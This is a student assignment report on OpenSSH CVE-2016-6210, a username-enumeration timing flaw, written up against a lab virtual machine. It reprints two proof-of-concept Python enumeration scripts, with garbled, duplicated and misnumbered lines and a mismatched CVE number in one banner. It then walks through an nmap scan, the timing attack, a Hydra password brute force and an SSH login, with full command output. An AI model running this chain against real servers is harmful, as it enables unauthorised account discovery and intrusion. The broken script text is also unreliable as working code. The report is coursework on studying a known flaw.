



Sri Lanka Institute of Information Technology

OpenSSH Vulnerability: CVE-2016-6210

Username Enumeration

Individual Assignment

Systems & Network Programming(C/Python)

Submitted by:

Student Registration Number	Student Name
IT19003610	K.G.S.SHIRANTHAKA

Date of submission: 12 of May 2020

Table of Contents

1. Introduction	3
1.1 Overview	3
1.2 Secure Shell or Secure Socket (SSH)	3
2. Explanation of OpenSSH Vulnerability (CVE-2016-6210).....	5
3. Vulnerability Details.....	5
4. How I take Exploitation Code	6
4.1 Exploit code and authors	6
5. Screenshots of Exploitation.....	9
6. Conclusion	15
7. References.....	15

1. Introduction

1.1 Overview

Vulnerability is a loophole in a system that an attacker can exploit and cause unauthorized access, illegal activity, and actual system damage. The vulnerability can be a safety danger, but not all vulnerabilities are a security risk because, for example, an exposed vulnerability is abused and the compromised portion of the network has little importance for the whole network such that it is not

The technical risk covers implementation flaw vulnerabilities and insufficient monitoring. The vulnerabilities of the network include vulnerable lines and construction of the networks. The technology instruction and the lack of sufficient compliance auditing and maintenance measures were protected through staff and operational weakness. Different factors such as the device complexity, use of common and well-known software codes, number of accessible ports and protocols, software glitches, and unsecured inputs that cause the device or network's vulnerability.

1.2 Secure Shell or Secure Socket (SSH)

Secure Shell or Secure Socket shell is known as SSH. SSH is a network protocol that offers users a safe way to access a device from an unsecured network, especially system administrator. SSH refers to the collection of tools that execute the SSH protocol in addition to the delivery of secure network services. In order to allow SSH to log into another computer over a network, execute commands, transfer files from one device to another, and provide strong encryption, Network Administrators are used for remote control of systems and applications[1].

SSH applies both to the protocol for the cryptographic network and to the set of applications implementing it. SSH uses the client-server structure to connect a Secure Shell client program, the end point of a session, to the SSH server at the end of the session. SSH implementations also provide support for terminal emulation or file transfer program protocols. For other device protocols, SSH can also be used to build protected tunnels for the safe running of graphical sessions

in X Window System. The normal Transmission Control Protocol (TCP) port 22 listens on an SSH server by design.

Many of the following programs can include features only available or compatible with different SSH clients or servers. For examples, it is possible to use the SSH protocol to implement a VPN, but only currently with an OpenSSH servers.

Since an SSH command can be provided which includes a user ID and password that enables local user to authenticate to a remote host account, the passwords can be revealed for an attacker with source code access.

In this report I have described about Open SSHD 7.2p username enumeration (CVE-2016-6210) vulnerability and how it exploiting.

2. Explanation of OpenSSH Vulnerability (CVE-2016-6210)

Basically, this will allow remote attackers to enumerate users by leveraging the timing difference between responses when a large password is provided. This vulnerability targets OpenSSH with a version of 7.2p2 inferior[2]. A flaw exists that is due to the program returning shorter response times for authentication requests with overly long passwords for invalid users than for valid users. This may allow a remote attacker to conduct a timing attack and enumerate valid usernames.

That means with a good dictionary an attacker may know which user is present on the server with SSH access. As often with brute force, the major issue will be to build a dictionary but some tools like CeWL from digininja can help to build those kind of strong dictionary files.

3. Vulnerability Details

Following details I have taken from CVE details web site[3].

- CVE-No: CVE-2016-6210
- CVSS Score: 4.3
- Confidentiality Impact: Partial
- Integrity Impact: None
- Availability Impact: None
- Access Complexity: Medium
- Authentication: Not required
- Vulnerability Type(s): Obtain Information
- CWE ID: 200
- Affected versions: Openssh 7.2

4. How I take Exploitation Code

4.1 Exploit code and authors

When researching a method to exploit this vulnerability, I have able to get a code from exploit-db[4]. This code was written by a person called **Eddie Harari**.

Eddie Harari has exposed this vulnerability as opensshd-user listing as proof of the mailing-list update (Full-Disclosure)[5]. Seclists.org[6] website will provide the guidance.

```
1 #!/bin/python
2
3 import paramiko
4 import time
5 import sys
6 user = sys.argv[1]
7 p='A'*25000
8 ssh = paramiko.SSHClient()
9 starttime=time.clock()
10 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
11 try:
12     ssh.connect('172.25.1.7', username=user,
13               password=p)
14 except:
15     endtime=time.clock()
16 total=endtime-starttime
17 print(str(user)+ ": " +str(total))
18
```

But when executing this code I got some compiling errors. So, in that case, I continue my research to find a proper way to exploit this vulnerability, Then I got another code which also available in exploit-db[7]. This code was written by a person called **null_null (0_o)**. Actually, this code is a modified version of the previous code. When exploiting this I have used the video which is include

under video references[8]. But that video is based on another separate vulnerability which was recorded in 2018.

```
23 import paramiko
24 import time
25 import numpy
26 import argparse
27 import sys
28
29 args = None
30
31 class bcolors:
32     HEADER = '\033[95m'
33     OKBLUE = '\033[94m'
34     OKGREEN = '\033[92m'
35     WARNING = '\033[93m'
36     FAIL = '\033[91m'
37     ENDC = '\033[0m'
38     BOLD = '\033[1m'
39     UNDERLINE = '\033[4m'
40
41
42 def get_args():
43     parser = argparse.ArgumentParser()
44     group = parser.add_mutually_exclusive_group()
45     parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
46     group.add_argument("-u", "--user", type = str, help = "Give a single user name")
47     group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
48     parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
49     parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
50     parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
51     parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
52     parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
53     parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
54     args = parser.parse_args()
55     return args
56
57
58 def get_banner(host, port):
59     ssh = paramiko.SSHClient()
60     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
61     try:
62         ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
63     except:
64         banner = ssh.get_transport().remote_version
65         ssh.close()
66         return banner
67
68
69 def connect(host, port, user):
70     global args
71     starttime = 0.0
72     endtime = 0.0
73     p = '0' * int(args.bytes)
74     ssh = paramiko.SSHClient()
75     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
76     starttime=time.clock()
77     try:
78         ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
79     except:
80         endtime=time.clock()
```

```

69 def connect(host, port, user):
70     global args
71     starttime = 0.0
72     endtime = 0.0
73     p = 0
74     ssh = paramiko.SSHClient()
75     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
76     starttime=time.clock()
77     try:
78         ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
79     except:
80         endtime=time.clock()
81     finally:
82         ssh.close()
83     return endtime - starttime
84
85
86
87 def main():
88     global args
89     args = get_args()
90     if not args.silent: print("\nUser name enumeration against SSH daemons affected by CVE-2018-4218")
91     if not args.silent: print("Created and coded by @_o (null.null [at] yahoo.com), PoC by Eddie Narazi\n")
92     if args.host:
93         host = args.host.split(':')[0]
94         try:
95             port = int(args.host.split(':')[1])
96         except IndexError:
97             port = 22
98     users = []
99     if args.user:
100         users.append(args.user)
101     elif args.userlist:
102         with open(args.userlist, "r") as f:
103             users = f.readlines()
104     else:
105         if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
106         sys.exit()
107     if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
108     # get baseline timing for non-existing users...
109     baseline_samples = []
110     baseline_mean = 0.0
111     baseline_deviation = 0.0
112     if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
113     for i in range(1, int(args.samples) + 1):
114         if not args.silent: sys.stdout.write(".")
115         if not args.silent: sys.stdout.flush()
116         sample = connect(host, port, "four-blah-nonsense" + str(i))
117         baseline_samples.append(sample)
118         if not args.silent: sys.stdout.write("\n")
119     # remove the biggest and smallest value
120     baseline_samples.sort()
121     baseline_samples.pop()
122     baseline_samples.reverse()
123     baseline_samples.pop()
124     # do math

```

```

121 baseline_samples.pop()
122 baseline_samples.reverse()
123 baseline_samples.pop()
124 # do math
125 baseline_mean = numpy.mean(numpy.array(baseline_samples))
126 baseline_deviation = numpy.std(numpy.array(baseline_samples))
127 if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
128 if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
129 upper = baseline_mean + float(args.factor) * baseline_deviation
130 if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
131 if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
132 #
133 # Get timing for the given user name...
134 #
135 for u in users:
136     user = u.strip()
137     enum_samples = []
138     enum_mean = 0.0
139     for t in range(0, int(args.trials)):
140         timeval = connect(host, port, user)
141         enum_samples.append(timeval)
142     enum_mean = numpy.mean(numpy.array(enum_samples))
143     if (enum_mean < upper):
144         if not (args.enumerated or args.silent):
145             print(bcolors.FAIL + "[_] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
146         else:
147             if not args.silent:
148                 print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
149             else:
150                 print(user)
151     del enum_samples[host, port]:
152     ssh = paramiko.SSHClient()
153     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
154
155 if __name__ == "__main__":
156     main()
157
158
159

```


5. Screenshots of Exploitation

When exploiting this vulnerability first I had to find an open port in my target machine (172.25.1.7). To find an open port in the target computer I use Nmap port scanning tool.

```
root@kali:~# nmap -O 172.25.1.7
```

When executing this command it scans the target IP address and gives the available open ports. The results are shown as follows.

```
root@kali:~# nmap -O 172.25.1.7
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-11 08:05 +0530
Nmap scan report for 172.25.1.7
Host is up (0.00070s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind
MAC Address: 08:00:27:50:61:BA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.12 seconds
root@kali:~#
```

After got the available port, I have done the Nmap script to find vulnerabilities in the victim machine.

```
root@kali:~# nmap --script vulscan,nmap-vulners -sV 172.25.1.7
```

Executing this command it gave all the vulnerabilities available in 172.25.1.7.


```
root@kali: ~  
[18236] OpenSSH no pty Command Execution Local PAM Restriction Bypass  
[16567] OpenSSH Privilege Separation LoginGraceTime DoS  
[16039] Solaris 100994 Series Patch OpenSSH LDM Client Authentication DoS  
[9562] OpenSSH Default Configuration Anon SSH Service Port Bounce Weakness  
[9550] OpenSSH scp Traversal Arbitrary File Overwrite  
[6601] OpenSSH *realloc() Unspecified Memory Errors  
[6245] OpenSSH SKEY/BSD_AUTH Challenge-Response Remote Overflow  
[6073] OpenSSH on FreeBSD libutil Arbitrary File Read  
[6072] OpenSSH PAM Conversation Function Stack Modification  
[6071] OpenSSH SSHv1 PAM Challenge-Response Authentication Privilege Escalation  
[5536] OpenSSH sftp-server Restricted Keypair Restriction Bypass  
[5408] OpenSSH echo simulation Information Disclosure  
[5113] OpenSSH NIS YP Netgroups Authentication Bypass  
[4536] OpenSSH Portable AIX linker Privilege Escalation  
[3930] OpenSSH and OpenSSH /dev/random Check Failure  
[3456] OpenSSH buffer_append_space() Heap Corruption  
[2557] OpenSSH Multiple Buffer Management Multiple Overflows  
[2140] OpenSSH w/ PAM Username Validity Timing Attack  
[2112] OpenSSH Reverse DNS Lookup Bypass  
[2100] OpenSSH sshd Root Login Timing Side-Channel Weakness  
[1853] OpenSSH Symbolic Link 'cookies' File Removal  
[839] OpenSSH PAMAuthenticationViaKbdInt Challenge-Response Remote Overflow  
[781] OpenSSH Kerberos TGT/AFS Token Passing Remote Overflow  
[730] OpenSSH Channel Code Off by One Remote Privilege Escalation  
[600] OpenSSH UseLogin Environment Variable Local Command Execution  
[642] OpenSSH Multiple Key Type ACL Bypass  
[504] OpenSSH SSHv2 Public Key Authentication Bypass  
[341] OpenSSH UseLogin Local Privilege Escalation  
111/tcp open  rpcbind 2-4 (RPC #100000)  
rpcinfo:  
  program version  port/proto  service  
  100000  2,3,4      111/tcp    rpcbind  
  100000  2,3,4      111/udp    rpcbind  
  100000  3,4        111/tcp6   rpcbind  
  100000  3,4        111/udp6   rpcbind  
  100024  1           34693/udp6 status  
  100024  1           36471/tcp  status  
  100024  1           40465/tcp6 status  
  100024  1           51618/udp  status  
vulners: ERROR: Script execution failed (use -d to debug)  
MAC Address: 08:00:27:50:61:BA (Oracle VirtualBox virtual NIC)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 17.73 seconds  
root@kali:~#
```

Then I got the exploiting code from exploit-db and copy the code and create a file called ssh_enum.py

```
root@kali:~/Desktop/CVE-2016-6210# vi ssh_enum.py
```

When exploiting this vulnerability attacker should have strong dictionary files that contain all the possible usernames and passwords. To illustrate it, I had created another separate file called validusers.txt and pass.txt. Basically, these files contain the usernames and passwords guessed by the attackers.

```
root@kali:~/Desktop/CVE-2016-6210# vi validusers.txt
```

```
root@kali:~/Desktop/CVE-2016-6210# vi pass.txt
```

And I put some dummy values to that files and also I put the one actual user and password which is available in the target machine.

```
root@kali:~/Desktop/CVE-2016-6210# cat validusers.txt
sudeepa
admin
buggy
sudeepa
er47
task24
brooklyndome
sudeepa
administrator
hawai_bluster
sudeepa
hack_me_if_u_can
sudeepa
sudeepa
```

```
root@kali:~/Desktop/CVE-2016-6210# cat pass.txt
shiranthaka
123
4567
shiranthaka
7788
dgh12
hdjk3
shiranthaka
rgh
234
shiranthaka
gh122
shiranthaka
shiranthaka
```

So after creating all the files, it looks like the following.

```
root@kali:~/Desktop/CVE-2016-6210# ls
pass.txt  ssh_enum.py  validusers.txt
root@kali:~/Desktop/CVE-2016-6210#
```

To see the usage of this exploiting code I execute this command.


```
root@kali:~/Desktop/CVE-2016-6210# python ssh_enum.py
usage: ssh_enum.py [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES]
                  [--samples SAMPLES] [--factor FACTOR] [--trials TRIALS]
                  host
```

Basically when we exploiting this vulnerability what this code does is compare the ssh users against the user list which we have provided. It means validusers.txt.

```
root@kali:~/Desktop/CVE-2016-6210# python ssh_enum.py -U validusers.txt 172.25.1.7
```

If the existing username will contain it will give the result as follows.

```
root@kali:~/Desktop/CVE-2016-6210# python ssh_enum.py -U validusers.txt 172.25.1.7

User name enumeration against SSH daemons affected by CVE-2016-6210
Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari

[*] Testing SSHD at: 172.25.1.7:22, Banner: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8
[*] Getting baseline timing for authenticating non-existing users.....
[*] Baseline mean for host 172.25.1.7 is 0.008318000000000002 seconds.
[*] Baseline variation for host 172.25.1.7 is 0.0012144677023288907 seconds.
[*] Defining timing of x < 0.011961403106986675 as non-existing user.
[*] Testing your users ...
[-] sudeepa - timing: 0.008805000000000007
[-] admin - timing: 0.0063790000000000235
[-] buggy - timing: 0.0079790000000000014
[-] sudeepa - timing: 0.005998000000000003
[-] er47 - timing: 0.006058000000000008
[-] task24 - timing: 0.007502000000000009
[-] brooklyndome - timing: 0.007900000000000018
[-] sudeepa - timing: 0.005618000000000012
[-] administrator - timing: 0.007846000000000002
[-] hawai_bluster - timing: 0.006917000000000065
[+] sudeepa - timing: 0.013233999999999968
[-] hack_me_if_u_can - timing: 0.010635000000000006
[-] sudeepa - timing: 0.010321000000000025
[-] sudeepa - timing: 0.006191000000000002
[-] - timing: 0.008972999999999953
```

It automatically calculates the base defining time and if user defining time is less then it gives that user as a non-existing user.

Then I tried to compare the password file and get the password of an existing user. I execute the following command to do it.

```
root@kali:~/Desktop/CVE-2016-6210# hydra -L validusers.txt -P pass.txt 172.25.1.7 ssh
```

It gave the results like following.

```
root@kali:~/Desktop/CVE-2016-6210# hydra -L validusers.txt -P pass.txt 172.25.1.7 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-11 08:22:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 225 login tries (l:15/p:15), ~15 tries per task
[DATA] attacking ssh://172.25.1.7:22/
[22][ssh] host: 172.25.1.7 login: sudeepa password: shiranthaka
[22][ssh] host: 172.25.1.7 login: sudeepa password: shiranthaka
[22][ssh] host: 172.25.1.7 login: sudeepa password: shiranthaka
[22][ssh] host: 172.25.1.7 login: sudeepa password: shiranthaka
[22][ssh] host: 172.25.1.7 login: sudeepa password: shiranthaka
[22][ssh] host: 172.25.1.7 login: sudeepa password: shiranthaka
1 of 1 target successfully completed, 6 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-11 08:23:00
```

Finally, I got a valid username and a relevant password in our target machine. So then I log in to the machine by giving the username and password.

```
root@kali:~/Desktop/CVE-2016-6210# ssh sudeepa@172.25.1.7
```

After executing the above command I could log in to the target machine.

```
root@kali:~/Desktop/CVE-2016-6210# ssh sudeepa@172.25.1.7
sudeepa@172.25.1.7's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun May 10 20:32:59 2020 from 172.25.1.4
sudeepa@debian:~$
sudeepa@debian:~$ whoami
sudeepa
sudeepa@debian:~$
```

6. Conclusion

This report has demonstrated that exploiting OpenSSH 7.2p2 Username Enumeration Vulnerability: CVE-2016-6210. An attacker who's having a good dictionary file/code can easily exploit this vulnerability. When exploiting this vulnerability I have used Debian 8.0 Jessie version as the target machine. Updating the vulnerable operating system can patch this vulnerability.

7. References

- [1] "What is Secure Shell (SSH) and How Does it Work?" <https://searchsecurity.techtarget.com/definition/Secure-Shell> (accessed May 11, 2020).
- [2] "CVE 2016-6210 OpenSSHD user enumeration | maggick's logs." <https://maggick.fr/2016/07/cve-2016-6210-opensshd-user-enumeration.html> (accessed May 11, 2020).
- [3] "CVE-2016-6210: sshd in OpenSSH before 7.3, when SHA256 or SHA512 are used for user password hashing, uses BLOWFISH hashing on a static." <https://www.cvedetails.com/cve/CVE-2016-6210/> (accessed May 11, 2020).
- [4] "OpenSShd 7.2p2 - Username Enumeration - Linux remote Exploit." <https://www.exploit-db.com/exploits/40113> (accessed May 11, 2020).
- [5] "OpenSSH 7.2p2 Authentication Password Username information disclosure." <https://vuldb.com/?id.89622> (accessed May 12, 2020).
- [6] "Full Disclosure: opensshd - user enumeration." <https://seclists.org/fulldisclosure/2016/Jul/51> (accessed May 12, 2020).
- [7] "OpenSSH 7.2p2 - Username Enumeration - Linux remote Exploit." <https://www.exploit-db.com/exploits/40136> (accessed May 11, 2020).

Video References

- [8] “(99) OpenSSH through version 7.7 - Username Enumeration - YouTube.”
<https://www.youtube.com/watch?v=ujPdkC1GzME> (accessed May 11, 2020).